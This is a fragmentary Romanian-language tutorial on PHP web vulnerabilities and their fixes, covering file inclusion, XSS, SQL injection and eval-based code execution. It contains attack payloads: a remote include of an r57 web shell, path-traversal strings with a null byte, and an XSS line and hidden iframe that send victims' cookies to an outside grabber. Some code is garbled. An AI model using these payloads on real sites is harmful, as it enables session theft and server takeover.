Documente Academic
Documente Profesional
Documente Cultură
se afl PHP ) pe serverul pe care se afl, iar scriptul va include outputul HTML. ns dac se
include un fiier cu extensia .txt, iar scriptul conine cod PHP, serverul va interpreta el acel cod.
De cele mai multe ori se folosete un shell ( script PHP, bine scris, care permite executarea
multor funcii pe serverul victim ). De exemplu, dac utilizatorul va include
"http://www.evilc0der.com/r57.txt", atunci va putea face multe lucruri pe server.
Exemplu:
Cod:
<?php
if(isset($_GET['pagina'])) {
$pag=$_GET['pagina'];
switch($pag) {
case "pag1.php":
include "pag1.php";
break;
case "pag2.php":
include "pag2.php";
break;
default:
include "meniu.php";
}
}
?>
Nu e la fel de periculos ca RFI ( de asemenea poate include fiiere locale ), dar este foarte
periculos, i se poate ajunge la RFI de la el.
Scriptul verific dac fiierul se afl pe server, dar pe server nu se afl dect fiierele scriptului (
CMS... ) care conine pagina cu LFI. Deci se pot include fiiere de pe server.
Exemplu ( Windows ):
http://site.com/script.php?pag=../../../../../boot.ini
Dar dac scriptul include i acel ".php" va fi nevoie de folosirea caracterului NULL pentru a fi
posibil incluziunea:
http://site.com/script.php?pag=../../../../../boot.ini%00
Probabil tii i voi c acele "../" se folosesc pentru a "nainta" n folderul anterior folderului n
care se afl scriptul cu probleme.
serverul s "recunoasc" utilizatorii. Aa tie serverul cine e logat i cine nu. Deci dac cineva
intr n posesia cookie-urilor altei persoane, dac aceasta este logat, prin folosirea cookie-urilor
sale, atacatorul va fi logat cu contul "victimei". La cookie se ajunge foarte uor prin
"document.cookie" n JavaScript, i de cele mai multe ori se folosete un cookie grabber pentru
furtul acestora.
Un cookie grabber este un script PHP, de cele mai multe ori, care primete prin GET cookie-urile
victimelor i le scrie ntr-un fiier.
Cookie-urile se pot trimite ctre grabber prin JavaScript foarte uor:
http://site.com/script.php?text=<script>document.location.href='http://server2.com/grabber.ph
p?cookie='+escape(document.cookie)</script>
n loc de +, care se folosete pentru spaiu n encodarea unui URL, se poate folosi "%2B".
Aadar, acest simplu script va redireciona victima ctre grabber, care i va fura cookie-urile iar
atacatorul se va putea folosi de ele. Dar o victim i poate da seama c poate fi victima unui atac
XSS dac observ un URL asemntor cu cel de mai sus. Dar nu este nici o problem pentru
atacator, el poate folosi foarte uor un iframe.
Exemplu:
<iframe
scr="http://site.com/script.php?text=<script>document.location.href='http://server2.com/grab
ber.php?cookie='+escape(document.cookie)</script>" width="0" height="0">
iar pagina sa va putea conine orice.
Pentru acest tip de atac se pot folosi mai multe sintaxe pentru injectare de cod.
De exemplu:
<IMG SRC=javascript:alert('XSS')>
sau injectarea unui cod aflat pe alt server:
<SCRIPT SRC=//site.com/script.js>
Se poate fixa destul de uor.
PHP ofer 2 funcii, care fac cam acelai lucru: htmlentities i htmlspecialchars. Aceste funcii
transform caracterele speciale gen "<", ">", "&" i ghilimelele n echivalentele lor n entiti
HTML.
De exemplu convertesc ">" n ">" i "<" n "<"
Ambele funcii se pot folosi cu al doilea parametru opional setat pe valoarea ENT_QUOTES.
Astfel se vor converti i ghilimelele n entiti.
Astfel, la o cerere de genul:
http://site.com/script.php?text=<script>alert('1')</script>
se va returna:
<script>alert('1')</script>
care va afia n browser textul
<script>alert('1')</script>
dar nu se va executa nici un cod JavaScript. Deci scriptul ar trebui s arate aa:
Cod:
<?php
if(isset($_GET['text'])) {
$var=$_GET['text'];
print htmlentities($var, ENT_QUOTES);
// Sau print htmlspecialchars($var, ENT_QUOTES);
}
?>
ns chiar dac un atacator a furat cookie-urile cuiva, putei opri folosirea acestora foarte uor.
Pentru acest lucru va trebui s mai creai o variabil de sesiune ( folosii sesiunile n locul
cookie-urilor deoarece sunt mai sigure, de exemplu pentru c se salveaz pe server, deci nu pot fi
editate ) n care s memorai adresa IP n momentul logrii. Apoi, cnd utilizatorul acceseaz o
pagin, trebuie verificat IP-ul acestuia cu IP-ul din variabila de sesiune, iar dac acestea nu
coincid, se face delogarea.
Cod:
<?php
if($_SERVER['REMOTE_ADDR']!=$_SESSION['ip']) {
session_unset();
session_destroy();
}
?>
Desigur, pot aprea cteva mici probleme pentru utilizatorii care au IP dinamic. Acetia vor
trebui s se logheze de fiecare dat cnd au un alt IP.
4) HTTP Header Injection
Aceast vulnerabilitate afecteaz Website-urile care afieaz browserul, de cele mai multe ori.
Am pomenit de ea pentru a v spune c nu toate headerele care provin de la utilizator sunt
corecte, nici User-Agent, nici Cookie... Exist de exemplu pentru Mozilla pluginul Tamper Data
care permite editarea acestor headere.
Dei nu pare o vulnerabilitate important, poate provoca mari probleme. Plecat de la un simplu
XSS, poate ajunge la XSS permanent, se poate folosi pentru SQL Injection, dac de exemplu se
caut n baza de date n funcie de un cookie.
5) SQL Injection
ns trebuie s fii puin ateni. Dac magic quotes gpc este On, ghilimelele vor fi automat backslash-uite, i este necesar ca nainte de mysql_real_escape_string s fie terse back-slash-urile
iniiale pentru ca irul s nu fie back-slash-uit de 2 ori.
Exemplu:
Cod:
<?php
if (get_magic_quotes_gpc()) {
$userid = stripslashes($_GET['id']);
}
$userid = mysql_real_escape_string($value);
$int=mysql_query("SELECT * FROM post WHERE postid='".$userid."'");
?>
De cele mai multe ori, atacurile au loc asupra variabilelor care reprezint un id ( Primary Key ).
Deci acest id va trebui s fie ntotdeauna un numr. Putei verifica acest lucru cu ajutorul funciei
"is_numeric" sau putei transforma automat ceea ce primii prin GET n numr ntreg ( 0 n cazul
n care nu este numr) folosind intval($_GET['id'])
Desigur, se pot folosi i funciile htmlentities i htmlspecialchars cu ENT_QUOTES pentru
acest lucru, se poate folosi i addshashes.
6) Login ByPass
Este tot un atac SQL Injection, ntlnit la csuele de logare. S presupunem c avem un cod,
care va face logarea, de genul:
Cod:
<?php
$int=mysql_query("SELECT * FROM users WHERE user='{$_POST['username']}'
AND password='{$_POST['password']}'");
?>
Acest tip de vulnerabilitate, practic, nu e o vulnerabilitate, de cele mai multe ori. Dac avei un
serviciu de upload pe server, avei grij ca utilizatorii s nu poat uploada fiiere PHP. Nu facei
acest lucru verificnd ca extensia s nu fie ".php", recomandarea mea e s citii fiierul ( n caz
c nu se pot uploada fiiere mari ) i s verificai dac conine cod PHP.
Cod:
<?php
$fisier=file_get_contents($_FILES['fisier']['tmp_name']));
if(explode("<?",$fisier)1 && explode("?>",$fisier))
print "Cod PHP";
?>
Dac un fiier conine cod PHP, chiar dac nu are extensia .php, n cazul unei vulnerabiliti
LFI, acest cod va putea fi interpretat de ctre server. ns e foarte greu s opreti un astfel de
atac, multe fiiere i tipuri de fiiere pot conine "<?" sau "?>", deci v recomand mai degrab s
nu avei LFI n script, dect s oprii un astfel de atac. n plus, dac dorii o limit pentru
mrimea fiierelor, nu v bazai pe un input hidden care s conin mrimea maxim, valoarea
acestui cmp poate fi schimbat.
8) Remote Code & Command Execution
Acest tip de vulnerabilitate nu este foarte des ntlnit, dar este periculoas. Remote Code
Execution const n executarea unor comenzi PHP. Acest lucru este posibil datorit funciei
"eval", cnd se evalueaz un parametru prin GET de exemplu.
Exemplu:
Cod:
<?php
eval("print '".$_GET['text']."';");
?>
$secured=str_replace("<","<",$secured);
$secured=str_replace(">",">",$secured);
$secured=str_replace(":",":",$secured);
$secured=str_replace("%","%",$secured);
$secured=str_replace("\$","$",$secured);
$secured=str_replace("=","=",$secured);
$secured=str_replace("?","?",$secured);
$secured=str_replace("(","(",$secured);
$secured=str_replace(")",")",$secured);
$secured=str_replace("/","/",$secured);
$secured=str_replace("{","{",$secured);
$secured=str_replace("}","}",$secured);
$secured=str_replace("\\","\",$secured);
return $secured;
}
?>
Funcia va converti n entiti HTML o mare parte din caracterele speciale care pot face ru. Nu
v facei griji pentru dublul apel al acestei funcii asupra aceluiai ir, funcia nu convertete
caracterele &, #, ; n entiti, deoarece sunt folosite pentru entiti. Desigur, nu sunt necesare
toate transformrile, i se poate folosi htmlentities pentru acest lucru, dar eu unul prefer s
folosesc aceast funcie, pe care o pot modifica cum vreau eu.
De asemenea nu ar strica o funcie prin care s identificm anumite atacuri, i s introducem n
baza de date cteva informaii despre atacator. n primul rnd va trebui s crem tabelul:
Cod:
CREATE TABLE IF NOT EXISTS hack_attempt
(id INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
ip VARCHAR(20),
browser VARCHAR(100),
data INT, tip VARCHAR(50));
Apoi scriem o funcie care va identifica dac se ncearc un atac. Recomand folosirea acestei
funcii numai asupra variabilelor care trebuie s aibe o valoare numeric i nu asupra variabilelor
care sunt de exemplu comentarii ale utilizatorilor, deoarece ar putea conine caractere speciale i
astfel se va umple baza de date de loguri inutile.
Cod:
<?php
function securizare($ce) {
$query="";
if(is_array($ce)) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Full Path Disclosure')";
}
elseif(strpos($ce,"<")!==false || strpos($ce,">")!==false) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Cross Site Scripting')";
}
elseif(strpos($ce,"../")!==false || strpos($ce,"..\\")!==false){
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Local File Inclusion')";
}
elseif(strpos($ce,"http://")!==false || strpos($ce,"ftp://")!==false) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'Remote File Inclusion')";
}
elseif(strpos($ce,"=")!==false || strpos($ce,",")!==false ||
strpos($ce,"'")!==false || strpos($ce,'"')!==false ||
strpos($ce,"-")!==false || strpos($ce,"/*")!==false ||
strpos($ce,";")!==false) {
$query="INSERT INTO hack_attempt
(ip, browser, data, tip) VALUES
('".$_SERVER['REMOTE_ADDR']."',
'".secure_it($_SERVER['HTTP_USER_AGENT'])."',
'".time()."', 'SQL Injection')";
}
if($query!="")
$int=mysql_query($query);
return secure_it($ce);
}
?>
Astfel, n funcie de anumite caractere vom ti ce a ncercat atacatorul i vom salva n baza de
date IP-ul i browserul su, data i tipul atacului.
Chiar dac am dat numai exemple prin GET, majoritatea atacurilor se pot face de asemenea prin
POST, numai c prin GET sunt mai uor de exploatat.
Ideea de baz e urmtoarea:
Nu efectuai niciodat instruciuni directe asupra unei variabile nainte de a-i verifica coninutul,
nainte de a scpa de orice problem poate aprea. Gndii-v la orice valoare poate seta un
utilizator asupra acelei variabile, i ncercai s prevenii orice fel de problem ar putea aprea.
Sper c v-a ajutat acest tutorial. Dac sunt probleme, dac avei nelmuriri sau critici postai n
forum.
- See more at: http://www.tutorialeonline.net/ro/article/vulnerabilitati-web-si-securizareaacestora#sthash.z9pz8ZPP.dpuf